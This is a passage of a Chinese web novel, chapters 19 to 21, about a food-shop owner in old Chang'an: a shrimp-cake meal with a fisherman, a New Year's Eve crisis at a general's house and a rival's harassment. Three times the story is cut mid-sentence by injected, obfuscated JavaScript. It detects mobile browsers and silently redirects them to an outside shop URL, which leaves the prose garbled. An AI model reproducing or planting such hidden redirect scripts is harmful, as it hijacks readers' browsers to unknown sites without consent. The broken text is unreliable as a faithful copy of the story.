;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那些饮子店卖来卖去也就那么几种，现代那么多花俏饮品，清甜解渴，不比他们加盐加糖瞎鼓捣的猎奇甜浆强？ 这主意罗姈老早就在考虑了，各家酒楼正店都有响当当的招牌酒，她们百味坊没有资格酤酿，她一直在思考该如何弥补酒水一栏的空白，却忘了这乳茶也是能让人上瘾的。 罗姈挑眉：“小哥长久生意做不做？” 小孩儿眼睛一亮：“姐姐要长订？那可以让利！” 罗姈笑了：“你能做主吗？” “能的，我已经卖了一年，比我爹爹卖得好。”说这话时他才流露出几分少年人的心性。 付了定银，临了拟契时罗姈才想起来问他的名字。 “寅子，我叫寅子。”少年刚做成了笔大买卖，说话都特别大声。 寅子，银子。 这名字好，叫着叫着钱就哗啦啦地进账了。 花式乳茶、各色糖水，这不得把这些古人迷死。 罗姈畅想着，已经看到自由的美好生活在向她招手了。 19. 炸虾饼 购置完牛乳，天光大亮，日头高起，卖朝食的小摊收拾收拾归家补眠，各路小食杂货接替上岗。 烟火相传，热闹不息。 罗姈亦打算回店，准备好好招待朋友。 行至半途，她那胃肠就翻起了跟斗，许是先时本就没吃饱，又在集市上费了不少脚程，早早地将那点儿馒头消耗殆尽。 不行，赶不及回百味坊了，得赶紧找点儿东西垫补垫补。 偏挎篮里的食材没一个能解燃眉之急的，没法子，只好走一截回头路，折回集市去。 还好马上就见到了一个煎豆腐的小摊，前头有些食客围着，罗姈跟在后面默默排队。 人缝里，白嫩的豆腐在铁板上滋滋作响，简直闻声知味。 听到它们逐渐金黄、焦香，薄盐似雪融化，细葱雨丝般砸下。 铁铲刺啦一翻，“雨雪”又一遭，滋味更加好。 罗姈正咽口水，余光瞥见一老渔翁站在一旁。 “咕咚——” 她那隐秘、羞怯、不可言说的吞咽声，被他大大方方地展露出来。 细细打量，这老渔翁手里提溜着的鱼篓不沉，还豁了一个口子，竹篾抽得乱七八糟，一看就没几两收获。身上的蓑衣尤为破烂，不知是在哪片泥地跌了一跤，大片大片的泥水糊在身上，半截短褐都干硬了。 乱糟糟、孤零零地站在一边，十足可怜样儿。 想必老人家舍不得花钱买吃食，只能在此望梅止渴。 “老伯——” “老伯——” 罗姈唤了两遍，他才发觉罗姈是在唤他。 “老伯，我给你买两份豆腐，换你一条鱼可好？” 老人家一把年纪不容易，耳朵还不好使，罗姈决意帮帮他。 两份煎豆腐十文钱，刚才瞄了一眼，他的鱼约莫也就巴掌大，这么小的鱼卖都卖不出去。 那人却摇摇头，眼珠子一转：“你想要换我的鱼？那我不要豆腐，我要吃肉。” “……” 罗姈和小春对视一眼，没成想发善心竟遇上个狮子大张口的。 算了，好人做到底，老人家看着怪可怜的，许是真的很久没吃过肉了。 罗姈点头：“你想吃什么？” 他也是毫不客气，咧开一口白牙：“跟我走，带你吃这里最好吃的。” 鬼使神差的，他一号令，罗姈便觉得听从是理所应当。 等她反应过来，人已经站在店门口了。 老伯熟稔地走过去与店家打招呼，店家娘子也笑得很高兴：“我还当你年前不来了，老规矩？” “老规矩，不过今儿个要三份。” 这顺嘴模样，哪里像吃不起肉的穷人。 店家娘子抬眉一眺，见罗姈她们一脸上当了的傻样，笑：“好，马上就开锅。” 刚开张，便陆续有客人来—— “马大嫂，一个虾饼，一碗甜酒！” “马大嫂，两个虾饼，一个不要葱，一个双倍虾！带走！” 全都是周遭的街坊。 老伯带着她们在店内坐下，店中狭窄，罗姈和小春紧紧挤在条凳上。 只有三张小桌，他们便占了一个。 不过在此闹市，能有这么一家店面，已是不错的规模。 老伯把自己没甚收获的破鱼篓往地上一搁，取下斗笠，罗姈才发觉自己把人家看老了二十年。 面容黝黑但很干净，胡髯也收拾得很齐整，应当只是不惑，该叫一声阿伯才是。 “老规矩，满贯来喽——” 少倾，店里的汉子端来三个胀鼓鼓的虾饼和一碟腌渍小菜。 罗姈她们点头同意后，阿伯追加：“再来三碗甜酒。” 这马家店是夫妻店，马大嫂掌勺，丈夫就帮着打下手，平时洗洗菜倒倒酒，包揽杂事。 二人一主一辅，你抬手来我接盘，默契无间，很是和谐。 甜酒和虾饼一来，阿伯咕咚咕咚畅饮下去，喟叹一声，抓起油纸包就大肆一口。 罗姈这会儿已经饿得不行了，看见对面吃得这样爽快，觉得更香了。 热气腾腾，一整个满月似的炸虾饼握在手心，学着阿伯的豪爽做派，罗姈也大口咬下去。 天呐…… 当舌尖碰到金黄酥脆的外壳，油润的面衣、爽脆的萝卜丝、鲜甜的青虾、咸香的豚肉、灿烂的蛋液……这些繁杂的食材混乱结合，看似随意，却恰到好处地构成一种复合香味——准确地击中人心。 她与小春对视，完全映照出对方眼里的光。 这简直是她吃过最好吃的炸物！ 阿伯还告诉她：“这‘满贯’可是我不告人的密藏，再来你就这样点，我给你保证这是全长安最好吃的炸虾饼，另加的豚肉和鸡蛋是点睛之笔，别人我都不告诉咧！” 又学着阿伯夹了一块小菜碟里的青瓜条，配在口中一起咀嚼，酥香与酸辣交织，唔……又是一重美味。 咔嚓咔嚓，用到一半，罗姈就觉得自己已有八分饱了。 不得不说，这虾饼的用料忒实诚，才十六文，份量都快赶上她脸大了，馅料塞得满当当的，光虾就有四颗，每一口都能吃到肉。 “快吃快吃！放凉了味道就急转直下了。” 在阿伯的催促下，罗姈撑着肚子吃完了最后一口。 满足，太满足了。 她自己不是没炸过虾饼，可比起人家的手艺，简直不值一提。 真是没有想到，这集市角落里藏着这样一家神仙小店。 阿伯显然是其中常客，店家忙，他怡然自得地自取第二碗甜酒。 咕咚咕咚再下一城，将口中残余的油燥抚平，筋骨都舒张开了。 这一碗再便宜不过，连桂花蜜都舍不得搁的甜酒酿，教他喝出一种琼浆玉液的陶醉。 这摇头晃脑的模样，不由让罗姈想到一位“故人”。 “尝项上之一脔，嚼霜前之两螯。烂樱珠之煎蜜，滃杏酪之蒸羔。蛤半熟而含酒，蟹微生而带糟。盖聚物之大美，以养吾之老饕[1]。” 倘若东坡先生在此用完这张炸虾饼，大抵与这阿伯的餍足笑靥几无二致吧。 吃饱喝足，罗姈伸手：“我请您吃了饭，您该把鱼给我了吧。” “嘿你这小丫头，还没忘我的鱼呢。”阿伯一下子收拢嘴角。 “您讹我这么一顿，我才找您换一条鱼娃娃，怎么着都是我亏吧，您还想吃白食呐。” 想顺手做件小善事，居然走了眼，反被“大大”敲诈一顿。 “行行行，不吃亏的丫头！”阿伯摆手，连鱼带篓给了罗姈，“我本想自己回家做水晶脍的，给你了给你了。” 尔后他扬声招呼：“马嫂子，算条巴子给我留了没有？” 客人愈来愈多，马大嫂忙得腾不开手，只好背身回应：“留了留了！我还怕你不来拿呢！” “怕你还不够吃，今年多做了半斤。”汉子将包裹拿来特意道，笑容淳朴。 巴子其实就是腌制过的肉干，口味接近现代的肉脯，因为切成长条状如筹码“算子”，故而有此俗名。 阿伯分了三两给罗姈：“喏，我可不吃人白食。” “我对你可是够好了，他们家的算条巴子不售卖，都是留着自家分的，我把这交情分你一份。” 他还不满哼哼：“我家那臭小子平日找我讨一块都难，说来奇怪，我倒是看你这丫头顺眼。” 罗姈一闻就知道这算条巴子绝对有家乡味，喜笑颜开：“多谢阿伯，那我就不客气了。” “先不还叫我老伯么？得了好处老匹夫我就变年轻了，成阿伯了？”吃饱喝足，阿伯剔牙揶揄。 “晚辈眼拙。”罗姈连连告罪。 又讲了一箩筐好话才哄得人饶了她，罗姈不由腹诽：这破篓渔翁还挺记仇！ 末了阿伯还不忘耳提面命：“下次可不许叫错，叫老了影响我二婚找年轻貌美的小寡妇。” 罗姈：……记仇的老不羞！ 辞别阿伯，等她们回到店里，易礼都在敲碗哀嚎了。 “罗大掌柜，罗大庖长，您是忘了百味坊里还有一个痴情守候的我么？” 还作怪抹泪：“忘了我也罢了，怎么舍得忘了逢莺娘子？” 这几天没什么生意，罗姈想着逢莺来店里演奏多回都没请人家坐下来好好吃顿饭，索性专门空置了一天招待，又怕场面冷清，特意叫了易礼。 “是我错了罢，负心薄幸，流连花丛，辜负二位美人一片痴心。”罗姈央央讨饶。 “为了赔罪，我再添一道菜并一壶饮子，二位可满意？” 逢莺笑道：“三娘你别听他做戏，我是早到了，他却是刚至，与你就前后脚的功夫，就是要缠你多做几个菜呢。” 易礼自斟茶的手一停：“哎，你怎么还拆自己人台呢？我讨的好，也不少你一份啊。” “谁跟你自己人，我和三娘才是一家。”逢莺斜眼一睨，仍是妍丽无双，“三娘平素开店够辛苦了，好容易休息一日，你少劳动人。” “还是逢莺疼我。”罗姈言笑晏晏。 三人打趣笑话，时间溜得飞快。 做完最后一道花雕鸭，罗姈摇摇手里的空酒壶，嘱咐小春：“酒用完了，下次去如意楼多打几壶备着。” 开过年她要推一轮全新的心选宴，其中少不得要用这花雕入肴，这配料是万不能缺的。 全部收拾完罗姈亲自上菜，易礼接过食盘方便她坐下，疑道：“你倒是坐得住，还请我们用饭，那‘东施街’没去看啊？” 罗姈耸肩：“生意不好我还落得清闲呢，正好关张过个安心年。” 看她气定神闲的样子，易礼就知道她心里有数了，闭嘴享用美食。 逢莺则是先用了一口热乎乎的牛乳，她眼睛一亮：“三娘你在里头添了什么，好生清爽。” 罗姈得意一笑：“这个叫乳茶，今日仓促，来不及翻花样。等过年我把糖水小料制备齐，叫你连日来我店里都不肯走。” 易礼也用了一口，道：“你主意是真多，叫我白担心了。” “对了，”他搁下筷子对逢莺道，“你日前托我作的《江水寒》的唱词我作好了。” “就是有一处，鄙人词拙意穷，左右推敲不得，求教二位才女。” 难得还有他易礼拿不准的时候，罗姈示意说来听听。 听罢罗姈道：“我觉得一作的‘暝烟低’好，有烟波浩渺，雾霭沉静之感。” 逢莺却持不同意见：“我倒是觉着用‘微’字更好，更合音律。” 一人一票，于是目光又重新会聚到易礼身上。 他亦无奈：“我就是定不了才征询你们的。” 这时逢莺托腮而叹：“要是方夫人在就好了，说不定能择一个更好的字。” 方夫人？ 罗姈从未听闻这号人物，疑望去：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583514|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方夫人很擅诗词吗？” “几年前她可是最具盛名的诗评人，你不在长安不知道，就连章相都曾称赞：‘本朝妇人能文者，惟方愉贞、李玩二人而已[2]。’” 李玩罗姈倒是知道，极有学问，如今在太后娘娘创办的女官学堂中当博士。 能与李玩齐名，这位方夫人立刻引起了罗姈的兴趣，她问：“哪家的女郎？有机会你给我引荐引荐。” 逢莺正要应答，看着罗姈的面孔，想到她的身份，蓦然一怔，慌乱瞥向易礼，对面人早就扶额掩面，示意她快别说了。 于是逢莺遽然支吾起来，易礼急急救她：“那什么……想了想我觉得还是‘低’字好，逢莺咱们要不唱一下试试。” 逢莺立刻抱来琵琶，自弹自唱，根本不给罗姈插言再问的机会。 唱到兴处，易礼也加入其中，二人像是排演过似的，和声相衬，靡靡悦耳。 罗姈的思绪亦顺着他们的乐音泛舟江上，尽兴忘乎所以，直到门口的铜铃乍然撞响。 带着一片漠漠阴云，章明达疾步入室，罗姈起身：“章大人？” 对方却无视得彻底，两只眼睛牢牢锁着对面——信手理弦的逢莺。 仓皇闯入却不开口，徒留一室寂静。 沉默，极致的压抑。 像两头角力的牛，看谁先败下阵来。 这架势…… 罗姈和易礼敛气屏息，默默后退。 最后还是章明达先忍不住，他敛了脾性，克制声调，让自己显得不那么兴师问罪：“我写的唱本，放你床头了，没瞧见么？” “瞧见了。”逢莺随意答道。 室内的熏笼像是不顶用了似的，寒气愈来愈重。 章明达咬着牙，还是勉强挤出笑意：“那是下人粗手脚，弄错了？方才唱的好似不是我写的。” “没弄错，我专托易郎君写了一篇。”逢莺自顾自侍弄琵琶头也不抬，明显赌着气。 罗姈确信，如果此时此地仅有他们两人，逢莺恐怕连敷衍都吝啬。 顷刻一丝笑意也无，章明达的眼刀子刹那飞出，对着逢莺那张漂亮脸蛋舍不得，于是骤然拐弯，将看戏的易礼剜骨削皮。 无辜中刀的易礼郁闷至极，但此刻氛围显然不容他多嘴。 看这一出三人纠葛好不热闹，完全置身事外的罗姈低眉藏笑。 明知问出来也是添堵，章明达拧巴了一会儿还是忍不住：“怎么不唱我写的？” “论才情，你哪里比得上易郎君？” 唰—— 又是一记怨毒的飞刀。 逢莺这张利嘴啊……当真不打算给一点儿面子，无端被牵连的易礼只能在心中怨骂。 想劝和劝和吧，看章明达的气势……多说多错，他还是当个乖巧的鹌鹑吧。 章明达更是被逢莺的“直言不讳”气得呕血，他知道她说的是实话，可就是因为是实话他才尤为生气，这女人从来不肯捧着他、顺着他。 他活了二十年，从未如此窝囊过！ 真是惯着她了！ 越想越气，章明达大手一捞，将人扛起来就走：“不肯唱我的？由不得你！今晚必须给我唱一宿！” “疼！” 逢莺一声惊叫，章明达慌忙把人放下：“哪儿弄疼了？” 罗姈也凑上去，上下查看：“伤着哪儿了？” 逢莺却红着脸，怎么也不肯说。 章明达眼睛一眯，直往她腿心打量，唇角勾起，说起只有他们两人才知道的私事：“后来你还是去林场找我了是不是？” 他俩的矛盾追根溯源是燕云楼的东家孙鹏兴举办了一场不寻常的私宴，当时他不许逢莺去，她却不听话，在宴席上被他逮个正着，少不了一番争执。 到了下半场，孙家张罗去围猎，不是猎兔而是猎狼，便轮到逢莺不许他去。章明达心里窝着火，自然也不会听她的。 只留下一句—— “死了你记得来收尸。” 将她一个人留在原地。 他不敢想，郊外林场那么远的地方，她没怎么骑过马，人又娇，这样的颠簸磋磨，怕是将腿心的皮肉都磨出血了。 “你还是担心我。”章明达肯定道。 沉默良久，逢莺撇开视线：“我没见过猎狼的场面，只是好奇。” “况且你不是说了吗，我是想着给你收尸的。” “你就是放不下我。”章明达挺起胸膛。 “随你臆想。”逢莺一脸被说中的气恼，拍开章明达的手。 “随我想，那我就往你不承认的方向想，你担心我围猎受伤，一路驰骋就为了亲眼证我平安。” “一颗心牢牢系在我身上，系在我一个人身上。” 后半句章明达尤其还偏看易礼说，对方对这种天外飞醋甚是无语，只回敬白眼一双。 如此不要脸，逢莺实在听不下去，抱起琵琶就走。 “心都在我这儿你人还想上哪儿去？”确定了心意，章明达笑得得意又放肆，像个生嫩的五陵少年，追在姑娘后头连人带琵琶一把横抱起来，“跟我回家上药！” 啧，这青天白日的，真是没眼看…… 罗姈回头和易礼对上视线，眼中笑意沉淀。 想起章明达惯常那副倨傲不羁的样子，和现在小心在意的模样判若两人，不由感慨—— 老话说得不假，还真是卤水点豆腐，一物降一物呐！ 20. 苣菜馎饦与肉夹馍 除夕，万家团圆。 将军府仆役不多，一放假便显得尤为冷清，除了刘姑姑这样的老仆，也就只有阿莲阿香她们这些家生子还守在府中。 这日子，本来应该忙得四脚朝天的厨房，也被罗姈解放了。 今年的团年饭，她亲自操办。 小春和阿莲她们已经被她调教得有模有样，帮厨不在话下。 外头炮竹声声，大厨房里的锅碗瓢盆也是不遑多让。 腐皮银菜卷、红烧玛瑙肉、珍珠粉圆、腌笃鲜、开花馒头、百事吉…… 流水儿一样的美味依次递出，馋的对廊里张福挂灯的阿山阿海都差点走不动道儿。 忙活了一上午，顺利张罗出十八道团圆菜。 罗姈甚是欣慰，正指挥着小春将“年年有鱼”摆到桌子当中，顾钊却匆忙回来报信。 说除夕夜宴，顾承禾要负责皇宫守备，回不来了。 奇了怪了，这活儿不是该禁军统领负责吗，怎么落到顾承禾身上了？ 亏他特意选了昨夜轮值，本说今晨点个卯正好回来，弄巧成拙，连值两个大夜。 关键是，今日可是除夕，将军府的团圆宴少了他这个主心骨，怎么也不像样。 顾钊前脚刚走，后脚天公信手挽来一阵风，雨就兜头洒了下来，夹着一些细密的雪籽，扑簌簌砸在瓦片上。 一向稳重的刘姑姑忽然慌慌张张地跑来：“少夫人不好了，老夫人又发作了！” 瞅了眼愈发阴沉的天色，罗姈的脸色也难看起来：“可是疼得厉害？” 刘姑姑点头。 一伙人急吼吼地涌去老夫人的院落，就听见里面时不时的抽气声。 赶紧去叫了大夫，罗姈站在外头连门都不敢开，就怕多送了寒气进去。 刘姑姑愁眉不展，一脸心疼：“昨儿天一阴我就说不好，劝老夫人不要下床了。她又犟，怕扫了兴，非叫我推她出来一起团年不可。” “疼了一夜，早上果然下不了地，还叫我不要同你讲，自己折腾着差点摔下床，发作得更厉害了。” 戎马半生，小伤小痛老夫人眉头都不会皱一下，现在却止不住地呻|吟。 隐忍的、克制的，隔着薄薄的窗户纸，清晰地传到罗姈耳朵里。 心也跟着皱巴成一团。 偏是年节，原本负责的大夫回了乡，只能紧赶慢赶新找人。 又是针灸又是煎药，一来二去竟折腾到天黑。 大夫走前嘱咐：“我给老夫人扎了安神的穴位，让她憩一会儿，过会儿疼醒了就给她喂药。” 双颊凹下去一大圈，仿佛前些日子养的肉一夕之间就耗尽了，罗姈看着床上的老夫人，眼眶发酸。 “苣……” 罗姈凑近了也听不清，眼神询问刘姑姑：祖母这是呓语什么呢？ 怕吵醒人，刘姑姑无声道：苣荬菜。 刚说完老夫人就缓缓睁开双眼，刘姑姑带着一点儿笑意，问：“老夫人又想吃苣荬菜了？” 老夫人点点头，居然还带着几分羞涩。 这苣荬菜是当年他们行军打仗时吃的菜，野地里一大片，几乎天天吃。苦的，嚼很久才会回甘。 年纪大了，很多东西的味道都在变淡。 但是苣荬菜不会。 当时有人哄着她吃，甜的。 罗姈虽不解其意，但看老夫人难得有胃口，她马上着手去做。 “庄子每个月都会送苣荬菜来，昨天刚从地窖里起的。”阿海抱来一篮子。 “要不了这么多。”罗姈挑了两根最嫩的。 病着得吃点清淡的，罗姈想了想，舀来白面，打算给老夫人煮一碗苣菜馎饦。 馎饦，亦称索饼，其实就是面条面片儿，和现今一样，时人也配着菜码吃。 本来过年嘛，就算是一碗馎饦也应该做得丰盛些，但今日的混乱情状，罗姈实在没心思。 将面剂子拉成薄薄的柳叶，顺着锅边滑下去，只点一点薄盐，两滴香油，和苣荬菜一起在锅里悠悠游荡。 想了想又窝了一个蛋，才给老夫人端过去。 夜雨沁凉，汤面的热气却快要将老夫人的眼睛熏红。 才疼过一阵，手指都没有力气抬起来，全靠刘姑姑一点一点喂进嘴里。 熟悉的苦涩与甘甜弥漫于唇齿，似乎连痛感都消退了几分。 虽比稀粥吃着费劲，但面食到底还是更能填充力气。 缓了一会，老夫人开口对罗姈说：“老婆子我总是不中用，败了这好日子，扫你们的兴。” 除夕夜，本该是一家人和美团聚，热热闹闹才是，她这病陡然发作，平白惹孩子们担心。 “祖母说什么呢，家有一老如有一宝，您高兴我们才高兴，要怪就怪这老天爷，大喜的日子作什么妖风！” 被罗姈一张愠怒的俏脸逗笑，顾老夫人附和：“是，都怪贼老天。” “嘭——” 突然一声乍响，大家齐齐望向窗外。 夜色深重，焰火便尤为绚烂，透着窗棂上的福字也能看到煞眼的金红。 看这方向，应是宫里的高架烟花，罗姈嘟囔：“我都疑心今日是不是犯冲了，承禾也被捉去替人当班，不知赶不赶得及回来一起守岁。” 罗姈说完，顾老夫人才发现自家亲孙子不在身边。 心虚了一下，很快就被罗姈的话匣子吸引，将人抛诸脑后。 两个熏笼烘着团团热气，一家子人聚在老夫人的榻前，你一言我一语，说起稀松平常的生活事，喧嚷不休，朝气蓬勃，苦药味都浅淡了…… 夜色渐深，老太太听着孩子们稀奇古怪的新鲜话，不及亥时就有了睡意，罗姈她们蹑手蹑脚地步出卧房，外头的寒雨凉风势头稍减，但仍淅沥不止。 这场漆黑的冰雨不仅淋湿了顾家，更是将耗儿巷的崔平母子浇了个彻骨寒。 “东家，求您了东家。”崔平跪在地上哐哐磕头。 额上沾的泥水还没淌到下巴，就被人用竹帚扫了出去：“晦气玩意儿，大过年的害了病还敢上门！滚滚滚！” “您行行将月钱结给我吧，孩子真的要病死了……” “砰——” 回应她的只有疾速的摔门声。 不至绝境，不信神佛。 隆冬雪夜，门扉紧闭，她抱着一丝希望朝着把守的门神将军磕了又磕，祈望他们大发慈悲再开门闩。 记不清磕了多少个，恍惚间，见到另一个神妃仙子样式的小娘子冲她笑、冲她招手。 她步履蹒跚地爬起来，咬着牙扛着湿透的薄衣，向着将军府走去…… …… 眼看就要人定了，顾承禾终于结束了盘查，骑着马儿疲惫归家。 隔着雨幕，朦胧夜色中偌大的家里只有厨房还亮着一豆烛火。 一靠近，就闻到独属于面食的格外踏实的甜香。 他在门外徘徊不定，犹豫着要不要进去。 管家都同他说了，今日多亏了罗姈照料祖母，陪伴尽孝，尽心尽力。 本应是他的分内之事，劳烦她了，理应道谢。 可……她似乎不大愿意见到他，尤其是在做饭的时候。 或许是他太严以律人了，她只是喜欢做饭而已，吵闹就吵闹吧。既然喜欢人多热闹，她下次做饭再邀请，他答应就是了。 只要不是过了酉时，坏了规矩就行。 思量着，顾承禾推开厨房门—— 子夜，罗姈、小春、以及阿香阿莲阿山阿海，六个人人手一个大馒头，正围着笼屉狼吞虎咽。 “……” 对上顾承禾凛冽的眼神，罗姈也觉得尴尬。 当初信誓旦旦地保证吃夜宵绝不带连他们顾府的人，现在却被逮个正着。 但今日确实是事出有因，这不是老太太突然发病，大伙儿一颗心悬系着，忙上忙下没顾得上吃饭么。 夜也深了，本来自己就打算把那几个福禄寿喜的开花馒头热一热随便对付一口，但是看院子里那几个小可怜巴巴看着……她这个人啊就是见不得别人饿肚子，于是做主“命令”他们也吃了。 大不了瞒着顾承禾就是了。 人一多，几个馒头哪儿够啊，罗姈索性将那渔翁赠的算条巴子拿出来，教他们吃“肉夹馍”。 把那暄软香甜的大白馒头一掰开，再夹上滴着蜜汁的豚五花，一口下去，蓬松的白面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16601604|185458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包裹着柔韧的肉条，咸甜中又带着一丝辛香。 就着蒸腾的热气，肥脂在口中化成一滩甜蜜，精肉在齿缝间丝缕缠绵，怎一个香字了得啊！ 就问谁能拒绝得了这样一份深夜抚慰？ 哦……顾承禾拒绝。 顶着审视的目光，罗姈正欲替下人们说情，顾钊突然跑来。 雨夜路滑，急得还差点摔了个趔趄，扶着门框，气喘如牛：“将军，出大事了！” “石统领醉酒杀人，已经连夜下狱了！” 什么？？？ 石敢信是他的左膀右臂，虽然性格鲁莽，但绝做不出杀害百姓这样的事。 这么大的事，人都下狱了他居然才得到风声！ 顾承禾的眼睛猝然淬冰，哪里还顾得上家事。 携风带雪，拍马离去。 变故陡生，罗姈虽未涉其中，但也隐隐嗅到似乎将有风暴来临。 罗姈还在沉思，管家忽然唤她：“少夫人，有人晕倒在门口！” 见到罗姈，已经冻得气若游丝的崔平撑起身：“菩萨娘子，救……救救我儿。” …… 翌日，大年初一。 律回春渐，新元肇启。 经历了昨儿的多事之夜，罗姈心中很是惴惴，顶着两个乌眼圈儿就去了百味坊。 初三要开张，提前盘货洒扫，她亲自张点食材。 不错嘛，都按照约定的时辰，甚至提前送到了。 揭开菜桶，罗姈立时面如锅底。 香蕈潮霉、芫荽蔫吧、土豆长芽。 无独有偶，再翻面袋，也是灰黄一片，往下一探还有沙石粗粒。 下一车的肉直接不用看了。 小春抱着空瓶子哭丧着脸跑回来：“娘子，那酱油铺子的老板不卖我头茬的秋油了，如意楼也不肯给我打花雕。” 话音刚落，后头一阵敲锣打鼓，八个彪形大汉抬着一架金步辇在长乐街招摇过市，来到百味坊的门前，不偏不倚停在店门口。 这架势一看就是来找茬儿的，旁边的铺面登时来了精神，一个个支起窗，探身出来看热闹。 罗姈抱臂看来人慢悠悠下辇，绕着送货的板车眄视嗟叹：“啧啧啧，罗掌柜，你们百味坊做饭这么不讲究啊，这长了芽的土豆也敢给人吃啊？” “邹公子做事倒是很讲究，上下打点得很透彻嘛。” 将她的货源排查得一清二楚，邹家在食行商会的根基不浅。 “在这长安城里开食店，还没有人能越过我邹家！” 见罗姈面色不变，邹洪来了兴趣：“说实在话，以罗掌柜的手艺，屈居于这么一家小小的脚店实在浪费，不若考虑投效我的如意楼？” 罗姈：“如意楼要改弦易辙？那我还真有些兴趣。” 言下之意，她罗姈不给人做工，来就要做如意楼的东家。 邹洪大笑：“不愧是将军夫人啊，说话就是豪气。”随后侧到耳边，低声冷笑，“这么嚣张？你以为将军府还能做你的靠山吗？” 看着邹洪略带深意的笑，罗姈明白了，他是专挑这个节骨眼儿来找麻烦的。 自百味坊重新开张以来，生意红火，抢走了不少食店酒楼的客源，诸如广和居、燕云楼，但首当其冲还是如意楼。 他们两家的目标客源的阶层一致、食物的价格一致，百味坊还能提供品质更高的食物和更贴心的服务，是以如意楼的生意是受影响最大的。 而昨夜顾承禾棘事缠身，邹洪定是早就得了风声，按捺到今日。 顾承禾一夜未归，恐怕此刻已经身陷囹圄。 邹洪才不管罗姈脑子里的弯弯绕，眼下他就想好好教训教训这个臭婆娘。 长辈将如意楼交给他打理，不许他插手别的生意，他就指着这个酒楼挣钱供他吃花酒呢。 这个臭婆娘半路杀出来断他财路，还有上次那个弹琵琶的小蹄子，他差点儿就得手了，也是这家的坏他好事。 今日到了一并清算的时候了。 邹洪将手搭在罗姈的肩上，正欲钳制，忽而不远处一个冷厉的声音随同剑光一齐闪来—— “夫人，咱们今日暮食多添一道炙豚蹄吧。” 21. 文思豆腐 还好闪躲及时，否则真要被剁下一截胳膊来。 邹洪捂着手臂，靠随从撑着才没有丢人地瘫在地上。 他抹掉额上豆大的汗珠，看着不应该出现在此的顾承禾，心头发怵，脑子里只剩下—— 跑！ 没有去追落荒而逃的邹洪，顾承禾与罗姈先回了将军府。 听顾承禾讲完，罗姈放下茶杯：“你不觉得此事十分蹊跷吗？” “先是除夕夜被留困皇宫，你的部下也恰巧行凶杀人，刑部一夜之间就完成了查证、逮捕、关押，这一切未免也太快了。” “我去刑部打听了，人证物证俱在。”说到这里顾承禾罕见地动了气，情绪不稳，“已经用过刑了，他不认罪。” “他不可能杀害百姓！”顾承禾斩钉截铁。 这一切能推行得如此迅速，上面必然有所授意。 直白些，陛下削权之心不死。 怀柔不成，就动了刀鞘了。 杀鸡儆猴，石敢信便是这鸡，他还是希望顾承禾这只猴能够主动识相。 毕竟以顾家历代之军功，真起操刀来，他能被言官的唾沫星子淹死，史官的笔尖子戳死。 当务之急是要想办法救人出来，罗姈详问动机。 顾承禾揉了揉额角：“动机充分，就在你食店的这条街上有个卖馄饨的，白天他与死者在摊前起过争执。” 罗姈记得，摊主是个年轻鲜妍的小娘子，食客们都叫她馄饨西施，今天似乎没来摆摊。 “摊主证言已立，但我想再找她问问，没找到人。”这才刚巧撞见罗姈被欺负。 罗姈宽慰：“既然石统领尚未认罪，那便还有转圜余地，你去找我阿爹，他或许有办法。只要石统领能抗住，在三司会审之前不松口。” “你不同去么？”顾承禾追望罗姈的背影。 罗姈潇洒摆手：“老头子才写信臭骂我丢人，我才不要触霉头，初二便由你替我回娘家啦！” 她可忙着呢，昨夜命人安顿了崔平母子，不放心今日还要亲自去看看。 第一次踏足耗儿巷这种真正的穷巷，罗姈有些无所适从，比起来，易礼那破败宅院都可称豪宅了。 尤其昨夜下过雨，地上黑泥夹着五谷轮回之物，实在让人无从下脚。 和小春互相鼓劲儿跳过“重重阻碍”，她们终于找到了崔家母子的住所。 叫唤无应，推开薄薄的木板，一个勉强可以称作是“门”的阻挡。 快步入室，崔平正起身，她有些慌乱，手脚都不知往哪里搁。 “贵人娘子们，您们怎么亲自来了我这贱地？”说着便要下床，给罗姈她们倒茶水。 罗姈用衾被牢牢将她裹住，她派人送来的棉被又大又厚，崔平的小身板团在里面只露出一双清亮的眼。 罗姈：“你好好歇着，大夫开的药喝了没？” “哎呦，药！”崔平着急道，“我都睡糊涂了，墨儿的药还没煎呢！” 罗姈示意小春去煎，顺便将提来的肉炖了，鸡蛋煮了。 “你的药喝了没？”罗姈牢牢盯着她。 “我好了，娘子。”崔平紧张道，想要下床证明给罗姈看，“我身子骨硬，好得快。” 昨天都活生生冻晕了，一个晚上怎么缓得过来，不过气色确实正常了许多。 “娘……” 孩子还是被她们吵醒了，崔平急忙探试他的体温，欣喜喃喃：“暖和了……暖和了……” “孩子叫什么名儿？”罗姈仔细瞧着，五官与崔平几乎一模一样，很秀丽的一个小男娃。 “元翰墨。” 崔平急忙催促：“墨儿，快起来谢谢恩人。” 罗姈细嚼，元翰墨…… 不同于一般的穷苦人家，这名儿一听就是用了心的，好奇问：“谁起的？” 崔平短暂地沉默一瞬，要答的话先从眼里流了出来。 是丈夫取的。 七年前她嫁给了他们乡里唯一的秀才，后面参加乡试屡屡落榜，他就转去县里做了教书先生。 她便负责学堂的饭食，手艺也是那是练的。 